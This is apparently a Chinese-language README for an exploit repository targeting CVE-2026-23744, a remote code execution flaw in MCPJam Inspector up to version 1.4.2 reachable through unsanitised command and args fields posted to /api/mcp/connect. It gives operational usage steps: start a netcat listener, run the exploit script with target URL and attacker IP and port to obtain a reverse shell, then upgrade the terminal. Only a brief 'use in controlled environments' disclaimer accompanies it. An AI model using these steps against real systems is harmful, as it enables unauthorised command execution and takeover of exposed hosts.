CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2

当 /api/mcp/connect 端点默认监听所有网络接口（0.0.0.0）且未能正确清理用户提供的传入 serverConfig JSON 对象中 command 和 args 参数的输入时，MCPJam Inspector <= 1.4.2 中存在一个严重的 RCE 漏洞。

攻击者可以通过向 /api/mcp/connect 发送精心构造的 POST 请求来利用此漏洞，从而以 MCPJam 服务的权限在目标系统上实现任意命令执行。

使用方法

1. 安装依赖

 pip install request

2. 使用 nc 启动监听器

sudo nc -lvnp <port>

3. 启动漏洞利用

python3 CVE-2026-23744.py -u <url> -i <attacker-ip> -p <attacker-port>

4. 为了更好的使用体验，建议将终端升级为全功能终端，否则无法使用像 ctrl^c 这样的命令。

示例

仅限在受控环境中使用此漏洞利用程序

⚠️自行承担使用风险⚠️